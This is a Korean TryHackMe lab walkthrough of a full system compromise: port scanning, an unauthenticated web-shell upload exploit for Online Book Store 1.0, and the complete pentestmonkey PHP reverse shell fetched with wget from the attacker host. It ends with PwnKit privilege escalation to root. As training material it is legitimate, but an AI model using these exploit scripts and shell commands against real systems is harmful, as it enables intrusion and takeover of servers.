해당 페이지에서는 취약한 웹서비스 플랫폼을 서비스하는 Tryhackme [Exploit Vulnerabilities] 모듈을 이용해서 침투 프로세스를 적용해 실습 해봅니다.
TryHackme - Exploit Vulnerabilities
시스템 침투 프로세스
시스템 침투시 공격 대상 또는 점검 대상에 대해서 빠지지 않고 수행해야 하는 정형화된 절차들이 존재합니다. 프로세스는 크게 아래 네가지로 분류 됩니다.
- 정보 수집
- 공격할 대상에 관련된 정보를 모읍니다.
- 어떤 포트가 열려 있는지 확인 합니다.
- 어떤 서비스가 실행되고 있는지 확인 합니다.
- 서비스 분석
- 해당 서비스 버전에 대한 취약점 확인 합니다.
- Exploit
- 초기 쉘, 이니셜 쉘(권한이 낮은, 제한된 계정) 획득 합니다.
- post-Exploit
- 쉘을 획득한 후의 모든 공격을 뜻합니다.
- 낮은 권한의 계정을 높은 권한으로 Escalation 으로 하는 과정 또한 post-Exlpoit에 포함 됩니다.
TryHackme - Exploit Vulnerabilities
서버 정보는 아래와 같으며 공격 대상은 “10.10.188.176
” 입니다.
- Victim: 10.10.188.176
- Attacker: 10.18.104.42
포트 스캔을 통한 정보 수집
시스템에서 서비스 중인 포트를 스캔하여 어떤 서비스가 돌아가는지 확인 합니다.
$ sudo nmap -sV -O -p- <target_ip> > /tmp/result
port scanning
NMAP 포트 스캔에 사용된 옵션
-sV
: 해당 포트의 상세정보를 출력합니다.-O
: OS 정보를 출력합니다. 정확하진 않으므로 대략적인 시스템을 파악하기 위한 참고용 입니다.-p-
: 전체 포트스캔으로 시간이 오래걸릴 수 있습니다.
포트 스캔 결과로 22번(SSH) 포트와 80번(Apache httpd 2.4.29) 포트가 열려 있는것을 확인했습니다.
$ cat /tmp/result
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 09:37 EST
Nmap scan report for 10.10.188.176
...
cat /tmp/result
만약 위처럼 ‘80’ 또는 ‘8080’과 같은 Web Service 관련 포트가 열려있다면, 브라우저로 해당 웹 사이트를 방문해 어떤 서비스인지 파악하는 것 또한 수집 과정이 될 수 있습니다.
‘80’ 포트로 서비스되는 웹 페이지에 접속한 결과, 아래 그림처럼 “BookStore” 관련 사이트인 것을 확인 했습니다.
또한 우측 하단에 표기된 정보로 “Online Book Store v1.0
” 이라는 웹 프레임 워크를 사용하는 것을 확인 했습니다.
WebSite
지금까지 수집한 정보는 다음과 같습니다.
listen port number: 22, 80
22: open ssh
80: Apache httpd
- Web Framework : Online Book Store v1.0
서비스 분석
정보수집 과정을 통해 타겟이 어떤 서비스를 운영 중인지 파악 했습니다. 이번엔 해당 서비스를 분석하여 존재하는 취약점을 찾아야 합니다. 우선 “Online Book Store v1.0” framework에 대한 취약점을 찾아보겠습니다.
kali linux에 기본적으로 내장되어 있는 “Searchsploit
” 툴을 사용하면 “https://www.exploit-db.com/“에 존재하는 Exploit 정보들을 열람할 수 있습니다.
SearchSploit?
“Searchsploit”은 Kali Linux 와 같은 인기 있는 침투 테스트 배포판에서 사용할 수 있는 도구입니다 . 해당 도구는 시스템의 익스플로잇 복사본을 포함하는 Exploit-DB의 오프라인 복사본입니다.
애플리케이션 이름 및/또는 취약점 유형별로 searchploit을 검색할 수 있습니다. Exploit에서 사용되는 스크립트 및 소스코드들은 다운로드할 필요없이 kali 안에 내장되어 있습니다.
인터넷을 사용가능한 환경에서는 굳이 “SearchSploit” 툴을 사용하지 않고 직접 “exploit-db.com” 혹은 github 또는 Google 검색을 통해 CVE를 직접 찾아볼 수 있습니다.
그러나 “SerachSploit”은 폐쇄된 환경에서도 간단하게 CVE가 존재하는 플랫폼을 탐색하며 스크립트를 이용해서 Exploit을 바로 수행해 볼 수 있다는 장점이 있습니다.
인터넷에 연결되지 않은 사이트에서 침투 테스트를 수행할 경우 굉장히 유용한 툴이라고 할 수 있습니다.
아래 그림에서는 “SearchSploit”을 이용해 “Online Book Stroe v1.0” 서비스에 대한 Exploit이 존재하는지 검색하고 있습니다.
SearchSploit Result
검색의 결과로 “Online Book Store 1.0” 서비스에 대해 다양한 취약점이 존재하는 것을 확인할 수 있습니다.
Exploit
존재하는 취약점 중, 간단하게 시도해 볼만한 취약점을 찾아서 시도 해보겠습니다.
SQL Injection, File Upload 등 여러가지 치명적인 취약점이 존재하며 그중에서 RCE 취약점을 시도해 보겠습니다. “Unauthenticated Remote Code Execution(RCE)” 취약점은 인증되지 않은 사용자가 서버로 원격 명령을 주입할 수 있는 강력한 취약점 입니다.
RCE 취약점의 Exploit 코드는 “php/webapps/47887.py” 입니다.
RCE Exploit Code Path
Kali에 내장된 Exploit-DB 스크립트는 /usr/share/exploitdb/exploits 하위에 존재합니다. 해당 스크립트를 홈 디렉터리로 카피해 줍니다.
$ cp /usr/share/exploitdb/exploits/php/webapps/47887.py ./exploit.py
copy exploit code
Exploit 코드를 분석해보면, shell_exec 함수를 호출하는 10자리 랜덤 숫자로된 php파일을 업로드 후, 해당 php 파일을 사용하여 명령어의 전체 출력을 문자열로 반환하도록 되어있습니다.
# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-07
# Exploit Author: Tib3rius
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A
import argparse
import random
import requests
import string
import sys
parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()
url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)
if random_file in r.text:
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
if launch_shell.lower() == 'y':
while True:
cmd = str(input('RCE $ '))
if cmd == 'exit':
sys.exit(0)
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
print(r.text)
else:
if r.status_code == 200:
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
else:
print('> Web shell failed to upload! The web server may not have write permissions.')
Exploit 스크립트는 소스코드를 직접 분석하여 넘겨야하는 인자가 무엇인지 파악하거나, 실행시 출력해주는 Usage를 참고해서 실행합니다.
해당 스크립트는 Target Server의 URL을 인자로 넘겨 사용합니다.
$ python3 ./exploit.py
usage: exploit.py [-h] url
exploit.py: error: the following arguments are required: url
Exploit Script Usage
스크립트를 실행하여 shell을 획득 했습니다.
$ python3 ./exploit.py http://10.10.188.176
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.188.176/bootstrap/img/BG6HAiJRFY.php
> Example command usage: http://10.10.188.176/bootstrap/img/BG6HAiJRFY.php?cmd=whoami
> Do you wish to launch a shell here? (y/n): y
RCE $
...
Exploit Success
또한 flag.txt에 적힌 플래그를 확인할 수 있습니다.
$ cat flag.txt
THM{BOOK_KEEPING}
get flag: THM{BOOK_KEEPING}
셸까지 획득했고, 플래그까지 얻었습니다. 그러나 완전한 시스템 침투가 목적이기때문에 여기서 끝내지 않습니다. 또한 현 시점에서 두가지의 치명적인 문제점이 존재합니다.
첫번째 문제점 - 셸의 권한
“id” 명령어를 통해 확인한 셸의 권한이 Root가 아닌 일반 계정입니다. 일반 계정은 권한이 제한적이므로 시스템에 완전히 침투했다고 할 수 없습니다.
RCE $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id command result
이럴때는 권한 상승(Privilege Escalation) 취약점을 이용해서 Root 권한을 획득해야 시스템에 완전히 침투했다고 할 수 있습니다.
실제 Root 권한을 취득하는 과정은 이후 단계인 Post-Exploit 에서 진행합니다.
두번째 문제점 - 불완전한 셸
해당 셸에서 특정 명령어가 정상적으로 동작하지 않는것을 확인할 수 있습니다. 예를들어 cd 명령어로 디렉터리를 이동하였으나, 실제로 이동이 되지않은 것을 확인할 수 있습니다.
change directory not working
그 이유는 현재 사용중인 셸이 실제 서버와 연결된 셸이 아니라 php에서 지원하는 함수를 이용해 셸의 모양을 가장하여 명령어의 결과만 출력해 주고있기 때문에 실제 연결된 셸보다 제약이 존재합니다.
여기서는 실제로 연결된 셸을 얻기위해 Reverse Shell을 업로드 해보겠습니다.
명령어를 통해 디렉터리 내 파일을 살펴보면 해당 웹 서비스가 php로 구성된 것을 확인할 수 있습니다.
file list
Reverse Shell은 검색을 통해 쉽게 구할 수 있습니다. 여기서는 아래의 코드를 사용합니다.
php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
49, 50번째 줄의 IP와 Port 번호를 공격자(자신)의 IP와 Port로 수정해 줍니다.
Change ip and port
Reverse Shell을 타겟 서버에 업로드 해보겠습니다. 여기서는 Python을 이용해 간단한 HTTP Server를 구동해서 타겟 서버가 HTTP Server에서 Reverse Shell을 다운로드 받도록 합니다.
아래 명령어로 서버를 구동해줍니다.
$ python3 -m http.server 5555
Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...
Start HTTP Server…
실제 5555번 포트로 HTTP 서버가 구동중인것을 확인할 수 있습니다.
Target 서버에 접속하여 wget으로 Reverse Shell을 다운로드 받습니다.
RCE $ wget http://10.18.104.42:5555/reverse.php .
RCE $ ls -la | grep reverse
-rw-r--r-- 1 www-data www-data 5491 Feb 27 17:40 reverse.php
Reverse Shell Download
공격자 측에서 nc 명령어로 4444번 포트를 열어놓고 기다립니다.
$ nc -lvnp 4444
listening on [any] 4444 ...
nc -lvnp 4444
타겟 서버의 /bootstrap/img/reverse.php 경로에 접속해서 Reverse Shell을 실행시킵니다.
$ curl http://10.10.188.176/bootstrap/img/reverse.php
execute reverse shell
Reverse Shell을 통해 실제 셸에 연결되었습니다.
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.18.104.42] from (UNKNOWN) [10.10.188.176] 53430
Linux cmnatics-bookstore 5.4.0-1056-aws #59~18.04.1-Ubuntu SMP Mon Aug 23 23:07:49 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
18:14:13 up 19 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ...
Success
추가적으로, 타겟서버에 Python이 설치되어 있다면 Python의 “pty” 모듈을 이용해 pseudo(가짜) 터미널을 생성하여 쉘의 가독성을 높일 수 있습니다.
마침 타겟서버에 Python3이 존재하므로 아래 커맨드를 입력해 셸의 가독성을 높여보겠습니다.
$ python3 -c "import pty; pty.spawn('/bin/bash')"
use pty module
최종적으로 리버스 셸을 통해 실제 셸을 연결했고, cd 명령어도 제대로 동작하는것을 확인 했습니다.
command test
Post-Exploit
이제 일반 사용자 권한을 Root 권한으로 Escalation 하는 과정을 수행해 보겠습니다.
만약 타겟 시스템에 셸을 획득하여 침투했을때, 셸의 권한이 Root가 아닌 낮은 권한의 초기 셸 혹은 이니셜 셸이라면, 가장 먼저 해당 시스템에 권한을 상승시킬만한 취약점이 존재하는지 파악해야 합니다.
여기서는 LinPEAS(Linux Privilege Escalation Awesome Script)를 이용해서 Esclation 취약점을 스캔합니다.
PEASS-ng/linPEAS at master · carlospolop/PEASS-ng
LinPEAS
LinPEAS는 의미 그대로 해당 시스템에서 권한 상승 취약점의 포인트를 자동으로 스캔해줍니다. (Windows 용으로는 WinPEAS가 있습니다.)
linpeas.sh 파일을 받아서 리버스 셸을 다운로드 했을때와 마찬가지로 HTTP Server를 구동해서 타겟서버에서 다운로드 해줍니다.
$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
$ python3 -m http.server 5555
download linpeas and start http server
타겟 서버에서는 파일을 실행할 수 있는 /tmp 디렉터리로 이동 후 다운로드 받아줍니다.
www-data@cmnatics-bookstore:/home$ cd /tmp
www-data@cmnatics-bookstore:/tmp$ wget http://10.18.104.42:5555/linpeas.sh
download linpeas.sh
linpeas.sh 파일에 실행 권한을 주고 실행해 줍니다.
www-data@cmnatics-bookstore:/tmp$ chmod +x linpeas.sh
www-data@cmnatics-bookstore:/tmp$ ./linpeas.sh
Run linpeas.sh
스크립트가 정상적으로 실행되면 아래와 같은 그림을 볼 수 있습니다.
linpeas
해당 스크립트를 통해 Basic information, Sytem Information 등의 정보들을 확인할 수 있습니다.
System Information
여기서 중요한 정보는 “CVEs Check” 입니다. CVE-2021-4034 를 이용해서 Root 로 Escalation 할 수 있습니다.
CVEs Check
간단한 검색을 통해 CVE-2021-4034 Exploit 코드를 찾습니다. 여기서는 arthepsy의 “PoC for PwnKit”을 사용합니다. https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
Google Search
arthepsy - cve-2021-4034-poc.c
소스코드를 다운로드 받은 후 타겟서버의 라이브러리에 차이가 있을수 있기 때문에 Static Link 방식으로 컴파일 해줍니다.
$ wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
$ gcc cve-2021-4034-poc.c -o escalate -static
code download and static link compile
마찬가지로 HTTP Server를 구동 후 타겟 서버의 /tmp경로에서 다운로드 해줍니다.
www-data@cmnatics-bookstore:/tmp$ wget http://10.18.104.42:5555/escalate .
Exploit Code Download
실행권한을 주고 실행을 했으나 에러가 발생합니다. 이럴때는 동작하지 않는 원인을 분석하여 해결하거나 다른 Exploit 코드를 구해 시도합니다.
www-data@cmnatics-bookstore:/tmp$ chmod +x escalate
www-data@cmnatics-bookstore:/tmp$ ./escalate
./escalate
sh: 1: gcc: not found
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
The value for the SHELL variable was not found the /etc/shells file
이번에는 ly4k의 PwnKit을 사용해서 재시도 해보겠습니다.
https://github.com/ly4k/PwnKit
ly4k - PwnKit
메뉴얼을 따라 PwnKit을 다운로드 한 후 타겟서버의 /tmp경로에 업로드 합니다.
$ curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
$ python3 -m http.server 5555
Attacker - PwnKit Download and python HTTP Server Start
www-data@cmnatics-bookstore:/tmp$ wget http://10.18.104.42:5555/PwnKit .
Victim - PwnKit Download
실행 권한을 준 후 실행하면 최종적으로 Root 권한의 셸을 얻을 수 있습니다.
www-data@cmnatics-bookstore:/tmp$ chmod +x PwnKit
www-data@cmnatics-bookstore:/tmp$ ./PwnKit
root@cmnatics-bookstore:/tmp# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Get Root Shell
마무리
Tryhackme - Exploit Vulnerabilities 모듈을 이용해 시스템 침투 프로세스를 수행 해보았습니다.